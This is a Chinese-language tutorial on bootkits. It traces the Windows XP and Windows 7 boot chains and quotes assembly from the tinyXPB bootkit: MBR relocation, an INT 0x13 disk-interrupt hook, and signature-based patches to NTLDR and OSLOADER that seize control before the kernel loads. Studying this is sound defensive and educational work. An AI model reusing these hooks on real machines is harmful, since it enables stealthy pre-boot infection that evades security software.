安全的对抗首先在权限方面,权限高的进程对权限低的权限就是就是降维打击,无往不利。当权限相同时,启动得早便为王。所谓的bootkit也就是基于这个思路设计的一种复杂病毒。它优先于Windows系统启动,自然也就优先于杀毒软件启动的时间。鉴于国内对bootkit的文章不多,本文想介绍一下bootkit的具体技术细节。为了保证内容的梯度和完整度,其中基于MBR的rootkit分别以WindowsXp和Win7为例,而基于UEFI的bootkit则可以在Windows7以上版本(7,8,10)的运行。
一:基于MBR的bootkit
1.1:windowsXP的系统加载流程
运行流程如下图:
BIOS:BIOS代码存在于主板上的EEPROM(Electronically Erased Programmable Read Only Memory)芯片中。大多数PC都会执行一些称为“Shadow”的操作,它们从RAM复制并运行BIOS代码(地址为0x000F0000),RAM比ROM快,因此可以加快启动速度。BIOS将MBR从引导设备的第一个扇区读入地址0x7C00。并提供一系列低级功能,称为BIOS中断,可通过“int”指令访问实模式代码。
MBR(Master Boot Record):MBR是引导设备的绝对第一扇区,大小为1扇区(512字节),此代码由BIOS加载到0x7C00,然后在实模式下执行。然而,MBR的大部分是代码; MBR内部是一个表(实际主引导记录),该表由4 x 16字节条目组成,并从偏移量0x1BE开始进入MBR。一旦执行,代码将查看分区表,找到活动分区,然后将分区的第一个扇区(VBR)读入0x7C00然后执行它。 由于MBR将VBR读入0x7C00,因此它将在事先重新定位,以避免覆盖自身。 MBR的最后2个字节是引导签名(0x55,0xAA)。读写MBR的代码很简单,如下:
HRESULT GetSigned(CAtlStringW strPhysicalDrive, PUCHAR ulSigned) {
HRESULT hr = S_OK;
HANDLE hDevice;
MBR Mbr = { 0 };
do {
hDevice = CreateFileW(strPhysicalDrive.GetBuffer(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
hr = S_FALSE;
break;
}
DWORD dwRead = 0;
if (!ReadFile(hDevice, (LPVOID)&Mbr, sizeof(MBR), &dwRead, NULL)) {
hr = S_FALSE;
break;
}
if (memcpy_s((void*)ulSigned, sizeof(ulSigned) / sizeof(ulSigned[0]), (void*)Mbr.ulSinged, sizeof(Mbr.ulSinged) / sizeof(Mbr.ulSinged[0]))) {
hr = S_FALSE;
break;
}
} while (0);
CloseHandle(hDevice);
/*
for (int i = 0; i < 4; i++) {
printf("%02x", ulSigned[i]);
}
*/
return hr;
}
VBR(Volume Boot Record):VBR是可引导分区的第一个扇区,就像MBR一样,它的大小为1扇区(512字节)。它由MBR在地址0x7C00(实模式)下加载并执行。 VBR的前两个字节是跳转指令,跳过Bios参数块(BPB)并进入主代码。在VBR的前2个字节之后是BPB,此块包含有关驱动程序和分区的一些信息(主文件表的位置,驱动器的磁盘/磁头/扇区设置,卷序列号等)。除了从BPB收集一些信息之外,VBR没有做太多其他事情,然后将分区的前16个扇区读入内存(通常从地址0xD000开始)。 •分区的前16个扇区称为$BOOT,尽管所有16个扇区都被加载到内存中,但只使用了7个扇区(1个用于VBR,6个用于IPL)。
IPL(Inital Program Loader):IPL最大可达15个扇区(7680字节),位于磁盘上的VBR(分区的扇区1-15)之后,此代码从地址0xD000开始,然后在实模式下运行。 Windows XP IPL仅使用15个已分配扇区中的6个。 IPL的工作是在磁盘上定位NTDLR,然后将其读入内存。 IPL将始终读取并执行地址0x20000处的NTLDR。
NTLDR(New Technology Loader):NTLDR是一个“实际”文件,驻留在C:\NTLDR并具有属性FILE_ATTRIBUTE_HIDDEN和FILE_ATTRIBUTE_SYSTEM(MBR,VBR和IPL无法从文件系统访问),它在地址0x20000处执行。TLDR由2个主要部分组成:1.NTLDR - 16位实模式和保护模式代码的混合,可在两种模式之间切换,以便使用BIOS中断。 2.OSLOADER.exe - 一个PE文件(编译为驱动程序),由32位代码组成,在保护模式下执行。NTLDR将设置GDT和IDT,然后进入保护模式(分页仍未设置)。OSLOADER.exe从NTLDR中提取并加载其入口点0x401000,这是因为OSLOADER是PE文件,如果位于0x401000,则不需要重定位表。NTLDR调用0x401000(OSLOADER入口点)。
OSLoader.exe:OSLOADER是一个PE文件,它被编译为内核驱动程序,但它有点像普通文件而不是驱动程序,因为内核尚未加载。 虽然OSLOADER是PE文件,但PE头不会加载到内存中,只会加载到代码中。OSLOADER中的代码做了很多,所以我只强调主要内容:
i:启用分页并设置页表。
ii:使用NTDETECT检测是否存在运行Windows所需的硬件。
iii:解析boot.ini以获取启动设置,如果是双启动,请询问用户他们希望加载哪个操作系统。
iV:加载启动驱动程序。
V:在调用KiSystemStartup(ntoskrnl入口点)之前,找到ntoskrnl.exe并将其加载到内存中。
ntoskrnl.exe:Ntoskrnl是位于C:\Windows\System32\ntoskrnl.exe的PE文件,它将由OSLoader.exe加载(加载地址将在 service pack地址中变化),而ntoskrnl.exe的入口点是KiSystemStartUp,它负责初始化内核并启动操作系统,然后执行由OSLoader.exe架子啊的启动驱动程序。当内核初始化完成后,操作系统将准备好登陆。
以上便是整个系统启动的调用流程。
1.2 :根据 tinyPXB讲解基于MBR的bootkit的运行机理
bootkit在tinyPXB中分为四个部分:1.MBR-负责加载其它三个组件 2.Loader16.bin bootkit的实模式组件 3.Loader32.bin bookit的32位保护模式组件 4.Driver32.sys 加载的驱动,这个不在本文的讲解范围。
1.2.1 MBR代码流程
bootkit MBR最初将在0x7C00加载并执行;一旦执行它就会将自身复制到地址0x80000并从那里执行。代码如下:
;=============================================================================================
;Move this code from 0x7C00 to 0x80000 then call "realstart" at new address
;=============================================================================================
start:
cld
push 0x00
pop ds
mov sp, 0x7C00 ;Stack grows downwards from address 0x7C00
mov si, sp
mov di, 0x00
mov cx, 0x100
push 0x8000
pop es
rep movsw ;Copy code from DS:SI to ES:DI (0000:7C00 to 8000:0000)
push 0x8000 ;Segment to retf to
push realstart ;Offset to retf to
retf ;Jump to code at new address
;=============================================================================================
;Use int 0x13 to read loader16, loader32 and driver32 from the floppy disk, we have to use
;normal read instead of extended read because it doesnt seem to work with floppy disks
;=============================================================================================
realstart:
push es
pop ds
call LoadLdrs
test ax, ax
je Failed
push 0x8020
push 0x0000
retf ;Jump to loader16 (0x80200)
Failed:
jmp $ ;Infinite loop
ret
一旦到达0x8000,MBR将解析软盘的12位文件分配表(FAT),寻找LOADER16BIN,LOADER32BIN和DRIVER32SYS。 MBR将使用INT 0x13,AH = 2(标准磁盘读取)BIOS中断将磁盘中的文件读入内存。我们不能在软盘上使用扩展读取,因此MBR还会将逻辑块地址转换为Cylinder-Head-Sector值。 Loader16将加载到地址0x80200,Loader32将加载到地址0x80400,driver32将加载到地址0x8100。一旦MBR完成加载bootkit组件,它将执行转移到0x80200(Loader16)。
1.2.2 Loader16
Loader16将从地址0x80200执行,并将完全在实模式下执行。
代码将负责挂钩INT 0x13(磁盘读取中断)和处理调用,以及挂钩NTLDR中的代码和OSLOADER.exe的入口点。
INT 0x13是BIOS提供的磁盘服务中断。 MBR,VBR,IPL和NTLDR将使用它来读取磁盘中的扇区以及其他内容。挂钩int 0x13代码如下:
start:
push cs ;Set up segments
pop ds
push cs
pop es
mov ah, 0x42 ;Extended Disk Read
mov dl, 0x80 ;Hard Disk 1
mov si, DAP1 ;Pointer to Data Access Packet
int 0x13
jc StartFailed
mov ax, [ss:0x4C]
mov word [Old_Int13+1], ax ;Store original int 0x13 offset
mov ax, [ss:0x4E]
mov word [Old_Int13+3], ax ;Store original int 0x13 segment
mov word [ss:0x4C], Int13Handler ;Our int 0x13 handler offset
mov word [ss:0x4E], 0x8020 ;Our code segment
push 0x00 ;Reset es and ds segment
pop es
push es
pop ds
push es
push 0x7C00
StartFailed:
通过挂钩磁盘中断,我们可以扫描MBR,VBR,IPL或NTLDR读取的每个扇区。我们通过搜索特征码(FC F3 67 66 A5 66 8B 4E 0C 66 83 E1 03,此代码 NTLDR使用它将OSLOADER加载到内存中),当IPL使用INT 0x13将NTLDR读入内存时,将找到特征码并在“rep movsw”之后进行HOOK。(在OSLOADER加载到0x401000之后)。Hook OSloader代码如下:
HookMoveOSLoader:
push ds
push fs
push 0x8020
pop fs
push 0x00
pop ds
mov dx, word [fs:Old_Int13+1] ;Store original int 0x13 offset into dx
mov [0x4C], dx ;Restore int 0x13 offset
mov dx, word [fs:Old_Int13+3] ;Store original int 0x13 segment into dx
mov [0x4E], dx ;Restore int 0x13 segment
xor edi, edi ;Make sure the high word of edi is null
mov di, ax ;ax still contains the address signature was found at
add di, 0x05 ;We hook 5 bytes into the signature (just after rep movsw
push es
pop fs
mov byte [fs:di+0], 0x9A ;Far call
mov word [fs:di+1], 0x600 ;Jump to address 0x00000600
mov word [fs:di+3], 0x0008 ;GDT descriptor 0x01 (32-bit code segment base: 0x00000000
mov di, 0x600 ;We store the 32-bit relative jump at 0x600
mov byte [di], 0xE9 ;relative 32-bit jump to HookOSLoader
mov dword [di+1], (0x7FDFB) ;Offset to loader32 (0x605 + 0x7FFFB = 0x80400)
pop fs
pop ds
retn
所有代码都是从我们的软盘运行的。 Loader16会将真正的Windows MBR从硬盘驱动器读入0x7C00(就像BIOS一样),挂起INT 0x13,然后执行windows MBR。
1.2.3 Loader32
Loader16中,我们在NTLDR中进行了HOOK,当运行到这个HOOk的时候,我们将删除HOOK,然后扫描OSLoder对其进行挂钩,扫描一下特征码( 51 6A 01 52 50 6A 05 E8),这段代码后面跟随的是BlAllocateDescriptor的地址,这个函数用于分配内存,当Loader尝试调用BlAllocateDescriptor时,它将运行Hook代码,现在让系统继续运行。一旦NTLDR完成并且OSLOADER开始执行,它将调用被我们Hook住的BlAllocateDescriptor。由于BlAllocateDescriptor已经可以使用了,删除钩子并对BlAllocateDescriptor进行3次调用。
i:第一个调用是分配一些内存来移动Loader32,这是因为当启用分页时,我们当前执行的内存将被分页。
ii:第二个调用是为我们的驱动程序分配一些内存来运行,因为存储驱动程序PE文件的地址也将被分页,我们现在也可以将驱动程序的PE文件映射到内存中,准备执行。
iii:最后一次调用调用没有被Hook情况下调用分配的内存。就在我们的BlAllocateDescriptor将执行转移回OSLOADER之前,我们将把loader32重新定位到分配的内存.
然后在OSLOADER中执行另一个字节扫描。•这次我们扫描以下字节:8B F0 85 F6 74 11 68 4C 23这些对应于指令:
mov esi,eax
test esi,esi
jz 0x11
push 234Ch
OSLOADER使用这些指令之后的代码直接调用在ntoskrnl中的KiSystemStartup,就在“mov esi,eax”之前是一个push,然后是一个调用,push将把“LOADER_PARAMETER_BLOCK”推送到堆栈,我们将把调用的地址改为指向我们的代码。 •KiSystemStartup挂钩将指向我们复制到已分配内存的loader32中的代码(0x80000000范围内的某处)。
现在我们将控制权返回给OSLOADER,以便继续加载操作系统。加载操作系统之后,由于之前已经对系统做了挂钩。所以我们可以你在加载系统的第一时间获取控制流,从而可以对系统为所欲为。
1.3:windows7的系统加载流程
1:首先,MBR加载NT Boot Sector,NT boot Sector可以读取FAT32和NTFS,它将读取在 system32或者system32/boot目录下的BOOTMGR.exe函数。
2:bootmgr.exe有一个16字节的校验头,当检验成功后,将将其映射到0x40000的位置,并以BmMain函数开始。
3:然后BootMgr.exe检查休眠状态。一但发现休眠,则加载winresume.exe并继续运行。
4:BootMgr.exe加载BCD数据库,并且遍历boot入口。
5:选择了Boot入口后,使用BmLanuchBootEntry函数进行加载。然后CPU进入64位模式并跳转到winload.exe。
6:winload.exe首先加载system的hive文件,然后加载ntoskrnl.exe,HAL.dll,依赖和关键驱动
7:创建PSLoadModuleList和LOADER_PARAMETER_BLOCK结构,其中包含了内核映射和选项列表等信息
8:然后使用OslArchTranslateToKernel函数进行内核(ntoskrnol.exe)的初始化流程。
总体流程如图所示:
其中内核初始化一共分为两步,这于本篇内容没有太大关系,略过。
二:vbookit2.0原理
windows7 x64上,我们需要在不被Patch Guard和驱动签名检测的前提下,过掉所有的安全功能。所以我们只能在内存中打补丁。和tinyXp一样,文件加载的时候打补丁,一步步前进,直到到达内核为止。